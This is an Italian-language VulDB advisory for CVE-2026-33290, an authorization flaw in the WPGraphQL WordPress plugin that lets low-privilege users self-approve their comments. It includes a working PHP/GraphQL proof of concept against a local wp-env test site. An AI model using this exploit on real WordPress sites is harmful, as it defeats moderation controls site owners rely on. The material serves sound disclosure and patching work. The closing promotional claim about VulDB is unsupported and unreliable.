CVE-2026-33290 in wp-graphql
Riassunto
di VulDB • 14/06/2026
WPGraphQL fornisce un'API GraphQL per i siti WordPress. Prima della versione 2.10.0, un difetto di autorizzazione in `updateComment` consente a un utente autenticato a basso privilegio (incluso un ruolo personalizzato con zero capacità) di modificare lo stato di moderazione del proprio commento (ad esempio impostandolo su APPROVE) senza disporre della capacità `moderate_comments`. Ciò può aggirare i flussi di lavoro di moderazione e consentire agli utenti non attendibili di auto-approvare i contenuti. La versione 2.10.0 contiene una patch.
### Dettagli
In WPGraphQL 2.9.1 (testato), l'autorizzazione per `updateComment` è basata sul proprietario, non sui campi:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 consente ai moderatori. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 consente anche al proprietario del commento, anche se manca della capacità di moderazione. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 mappa lo stato di input GraphQL direttamente su `comment_approved` di WordPress. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 salva tale valore tramite `wp_update_comment`. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 espone gli stati di moderazione (APPROVE, HOLD, SPAM, TRASH).
Ciò significa che un proprietario non moderatore può inviare lo stato durante l'aggiornamento e transizionare lo stato di moderazione.
### PoC
Testato in un ambiente locale wp-env (Docker) con WPGraphQL 2.9.1.
1. Avviare l'ambiente:
npm install npm run wp-env start
2. Eseguire questo PoC:
``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps"); if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ```
3. Osservare il risultato:
- role_caps è vuoto (o manca moderate_comments) - la mutation restituisce status: APPROVE - il valore nel DB diventa comment_approved = 1
### Impatto
Si tratta di un'elusione dell'autorizzazione / controllo di accesso difettoso nelle transizioni di stato di moderazione dei commenti. Tutti i deployment che utilizzano le mutation GraphQL dei commenti di WPGraphQL dove gli utenti a basso privilegio possono fare commenti sono interessati. La politica di moderazione può essere aggirata approvando i contenuti da soli.
Several companies clearly confirm that VulDB is the primary source for best vulnerability data.